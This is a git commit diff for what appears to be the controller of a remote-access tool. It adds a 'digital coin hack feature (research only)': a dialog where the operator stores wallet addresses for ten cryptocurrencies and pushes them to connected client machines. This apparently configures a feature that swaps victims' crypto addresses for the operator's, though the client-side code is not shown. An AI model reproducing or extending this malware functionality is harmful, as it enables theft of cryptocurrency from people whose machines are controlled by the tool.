Feature: Add digital coin hack feature (research only)

This commit is contained in:
yuanyuanxiang
2025-10-05 17:47:11 +08:00
parent c36c177d4e
commit 1ddcd4584f
18 changed files with 591 additions and 5 deletions

Binary file not shown.

View File

@@ -39,6 +39,8 @@
#include "client/MemoryModule.h"
#include <file/CFileManagerDlg.h>
#include "CDrawingBoard.h"
#include "CWalletDlg.h"
#include <wallet.h>
#ifdef _DEBUG
#define new DEBUG_NEW
@@ -474,6 +476,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_COMMAND(ID_ONLINE_ADD_WATCH, &CMy2015RemoteDlg::OnOnlineAddWatch)
ON_NOTIFY(NM_CUSTOMDRAW, IDC_ONLINE, &CMy2015RemoteDlg::OnNMCustomdrawOnline)
ON_COMMAND(ID_ONLINE_RUN_AS_ADMIN, &CMy2015RemoteDlg::OnOnlineRunAsAdmin)
ON_COMMAND(ID_MAIN_WALLET, &CMy2015RemoteDlg::OnMainWallet)
END_MESSAGE_MAP()
@@ -1052,6 +1055,8 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
int n = THIS_CFG.GetInt("settings", "SoftwareDetect");
int usingFRP = master.empty() ? 0 : THIS_CFG.GetInt("frp", "UseFrp");
m_settings = { m, sizeof(void*) == 8, __DATE__, n, usingFRP };
auto w = THIS_CFG.GetStr("settings", "wallet", "");
memcpy(m_settings.WalletAddress, w.c_str(), w.length());
std::map<int, std::string> myMap = {{SOFTWARE_CAMERA, "摄像头"}, {SOFTWARE_TELEGRAM, "电报" }};
std::string str = myMap[n];
LVCOLUMN lvColumn;
@@ -3284,3 +3289,19 @@ void CMy2015RemoteDlg::OnOnlineRunAsAdmin()
LeaveCriticalSection(&m_cs);
}
}
void CMy2015RemoteDlg::OnMainWallet()
{
CWalletDlg dlg(this);
dlg.m_str = CString(m_settings.WalletAddress);
if (dlg.DoModal() != IDOK || CString(m_settings.WalletAddress) == dlg.m_str)
return;
if (dlg.m_str.GetLength() > 470) {
MessageBox("超出钱包地址可输入的字符数限制!", "提示", MB_ICONINFORMATION);
return;
}
strcpy(m_settings.WalletAddress, dlg.m_str);
THIS_CFG.SetStr("settings", "wallet", m_settings.WalletAddress);
SendMasterSettings(nullptr);
}

View File

@@ -304,4 +304,5 @@ public:
afx_msg void OnNMCustomdrawOnline(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnOnlineRunAsAdmin();
afx_msg LRESULT OnShowErrMessage(WPARAM wParam, LPARAM lParam);
afx_msg void OnMainWallet();
};

View File

@@ -268,6 +268,7 @@
<ClInclude Include="Chat.h" />
<ClInclude Include="CPasswordDlg.h" />
<ClInclude Include="CTextDlg.h" />
<ClInclude Include="CWalletDlg.h" />
<ClInclude Include="DateVerify.h" />
<ClInclude Include="DecryptDlg.h" />
<ClInclude Include="EditDialog.h" />
@@ -339,6 +340,7 @@
<ClCompile Include="Chat.cpp" />
<ClCompile Include="CPasswordDlg.cpp" />
<ClCompile Include="CTextDlg.cpp" />
<ClCompile Include="CWalletDlg.cpp" />
<ClCompile Include="DecryptDlg.cpp" />
<ClCompile Include="EditDialog.cpp" />
<ClCompile Include="FileManagerDlg.cpp" />

View File

@@ -53,6 +53,7 @@
<ClCompile Include="IOCPKCPServer.cpp" />
<ClCompile Include="..\..\common\ikcp.c" />
<ClCompile Include="CGridDialog.cpp" />
<ClCompile Include="CWalletDlg.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\..\client\Audio.h" />
@@ -118,6 +119,7 @@
<ClInclude Include="IOCPKCPServer.h" />
<ClInclude Include="..\..\common\ikcp.h" />
<ClInclude Include="CGridDialog.h" />
<ClInclude Include="CWalletDlg.h" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="2015Remote.rc" />

View File

@@ -0,0 +1,105 @@
// CWalletDlg.cpp: 实现文件
//
#include "stdafx.h"
#include "CWalletDlg.h"
#include "afxdialogex.h"
#include "Resource.h"
#include "wallet.h"
// CWalletDlg 对话框
IMPLEMENT_DYNAMIC(CWalletDlg, CDialogEx)
CWalletDlg::CWalletDlg(CWnd* pParent /*=nullptr*/)
: CDialogEx(IDD_DIALOG_WALLET, pParent)
{
}
CWalletDlg::~CWalletDlg()
{
}
void CWalletDlg::DoDataExchange(CDataExchange* pDX)
{
CDialogEx::DoDataExchange(pDX);
DDX_Control(pDX, IDC_EDIT_WALLET_BTC, m_EditBTC);
DDX_Control(pDX, IDC_EDIT_WALLET_ERC20, m_EditERC20);
DDX_Control(pDX, IDC_EDIT_WALLET_OMNI, m_EditOMNI);
DDX_Control(pDX, IDC_EDIT_WALLET_TRC20, m_EditTRC20);
DDX_Control(pDX, IDC_EDIT_WALLET_SOL, m_EditSOL);
DDX_Control(pDX, IDC_EDIT_WALLET_XRP, m_EditXRP);
DDX_Control(pDX, IDC_EDIT_WALLET_ADA, m_EditADA);
DDX_Control(pDX, IDC_EDIT_WALLET_DOGE, m_EditDOGE);
DDX_Control(pDX, IDC_EDIT_WALLET_DOT, m_EditDOT);
DDX_Control(pDX, IDC_EDIT_WALLET_TRON, m_EditTRON);
}
BEGIN_MESSAGE_MAP(CWalletDlg, CDialogEx)
END_MESSAGE_MAP()
// CWalletDlg 消息处理程序
BOOL CWalletDlg::OnInitDialog()
{
CDialogEx::OnInitDialog();
auto a = StringToVector(m_str.GetString(), ';', MAX_WALLET_NUM);
m_EditBTC.SetWindowTextA(a[ADDR_BTC].c_str());
m_EditERC20.SetWindowTextA(a[ADDR_ERC20].c_str());
m_EditOMNI.SetWindowTextA(a[ADDR_OMNI].c_str());
m_EditTRC20.SetWindowTextA(a[ADDR_TRC20].c_str());
m_EditSOL.SetWindowTextA(a[ADDR_SOL].c_str());
m_EditXRP.SetWindowTextA(a[ADDR_XRP].c_str());
m_EditADA.SetWindowTextA(a[ADDR_ADA].c_str());
m_EditDOGE.SetWindowTextA(a[ADDR_DOGE].c_str());
m_EditDOT.SetWindowTextA(a[ADDR_DOT].c_str());
m_EditTRON.SetWindowTextA(a[ADDR_TRON].c_str());
return TRUE;
}
CString JoinCStringArray(const CString arr[], int size, TCHAR delimiter)
{
CString result;
for (int i = 0; i < size; ++i)
{
result += arr[i];
if (i != size - 1)
result += delimiter;
}
return result;
}
void CWalletDlg::OnOK()
{
CString a[MAX_WALLET_NUM];
m_EditBTC.GetWindowTextA(a[ADDR_BTC]);
m_EditERC20.GetWindowTextA(a[ADDR_ERC20]);
m_EditOMNI.GetWindowTextA(a[ADDR_OMNI]);
m_EditTRC20.GetWindowTextA(a[ADDR_TRC20]);
m_EditSOL.GetWindowTextA(a[ADDR_SOL]);
m_EditXRP.GetWindowTextA(a[ADDR_XRP]);
m_EditADA.GetWindowTextA(a[ADDR_ADA]);
m_EditDOGE.GetWindowTextA(a[ADDR_DOGE]);
m_EditDOT.GetWindowTextA(a[ADDR_DOT]);
m_EditTRON.GetWindowTextA(a[ADDR_TRON]);
for (int i = 0; i < MAX_WALLET_NUM; ++i) {
if (a[i].IsEmpty()) continue;
if (WALLET_UNKNOWN == detectWalletType(a[i].GetString())) {
char tip[100];
sprintf(tip, "第 %d 个钱包地址不合法!", i + 1);
MessageBox(CString(tip), "提示", MB_ICONINFORMATION);
return;
}
}
m_str = JoinCStringArray(a, MAX_WALLET_NUM, _T(';'));
CDialogEx::OnOK();
}

View File

@@ -0,0 +1,38 @@
#pragma once
// CWalletDlg 对话框
class CWalletDlg : public CDialogEx
{
DECLARE_DYNAMIC(CWalletDlg)
public:
CWalletDlg(CWnd* pParent = nullptr); // 标准构造函数
virtual ~CWalletDlg();
CString m_str;
// 对话框数据
#ifdef AFX_DESIGN_TIME
enum { IDD = IDD_DIALOG_WALLET };
#endif
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:
CEdit m_EditBTC;
CEdit m_EditERC20;
CEdit m_EditOMNI;
CEdit m_EditTRC20;
CEdit m_EditSOL;
CEdit m_EditXRP;
CEdit m_EditADA;
CEdit m_EditDOGE;
CEdit m_EditDOT;
CEdit m_EditTRON;
virtual BOOL OnInitDialog();
virtual void OnOK();
};

Binary file not shown.